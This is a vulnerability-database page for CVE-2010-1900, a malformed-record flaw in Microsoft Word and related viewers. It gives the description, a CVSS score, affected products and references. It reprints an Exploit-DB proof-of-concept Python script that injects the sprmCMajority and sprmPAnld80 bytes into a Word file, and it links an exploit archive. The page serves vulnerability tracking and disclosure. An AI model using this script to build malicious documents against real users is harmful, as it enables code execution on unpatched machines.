CVE-2010-1900
Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Microsoft Office Word 2002 SP3, 2003 SP3, and 2007 SP2; Microsoft Office 2004 and 2008 for Mac; Open XML File Format Converter for Mac; Office Word Viewer; Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP2; and Works 9 do not properly handle malformed records in a Word file, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted file, aka "Word Record Parsing Vulnerability."
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 14971
Publication date : 2010-09-10 22h00 +00:00
Author : Abysssec
EDB Verified : Yes
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub11-microsoft-office-word-sprmcmajority-buffer-overflow/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14971.zip (moaub-11-exploit.zip)
'''
'''
Title : Microsoft Office Word sprmCMajority buffer overflow
Version : Word 2007 SP 2
Analysis : http://www.abysssec.com
Vendor : http://www.microsoft.com
Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-1900
'''
import sys
def main():
try:
fdR = open('src.doc', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:4082]
str2 = strTotal[4088:]
sprmCMajority = "\x47\xCA\xFF" # sprmCMajority
sprmPAnld80 = "\x3E\xC6\xFF" # sprmPAnld80
fdW= open('poc.doc', 'wb+')
fdW.write(str1)
fdW.write(sprmCMajority)
fdW.write(sprmPAnld80)
fdW.write(str2)
fdW.close()
fdR.close()
print '[-] Word file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()
Products Mentioned
Configuraton 0
Microsoft>>Word >> Version 2002
- Microsoft>>Word >> Version 2002 (Open CPE detail)
Microsoft>>Word >> Version 2003
- Microsoft>>Word >> Version 2003 (Open CPE detail)
Microsoft>>Word >> Version 2007
- Microsoft>>Word >> Version 2007 (Open CPE detail)
Configuraton 0
Microsoft>>Office >> Version 2004
- Microsoft>>Office >> Version 2004 (Open CPE detail)
Microsoft>>Office >> Version 2008
- Microsoft>>Office >> Version 2008 (Open CPE detail)
Microsoft>>Open_xml_file_format_converter >> Version *
- Microsoft>>Open_xml_file_format_converter >> Version - (Open CPE detail)
Configuraton 0
Microsoft>>Office_compatibility_pack >> Version 2007
- Microsoft>>Office_compatibility_pack >> Version 2007 (Open CPE detail)
Microsoft>>Office_word_viewer >> Version *
- Microsoft>>Office_word_viewer >> Version - (Open CPE detail)
- Microsoft>>Office_word_viewer >> Version 2003 (Open CPE detail)
- Microsoft>>Office_word_viewer >> Version 2003 (Open CPE detail)
Microsoft>>Works >> Version 9.0
- Microsoft>>Works >> Version 9.0 (Open CPE detail)
References
https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A11490
Tags : vdb-entry, signature, x_refsource_OVAL
Tags : vdb-entry, signature, x_refsource_OVAL
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-056
Tags : vendor-advisory, x_refsource_MS
Tags : vendor-advisory, x_refsource_MS
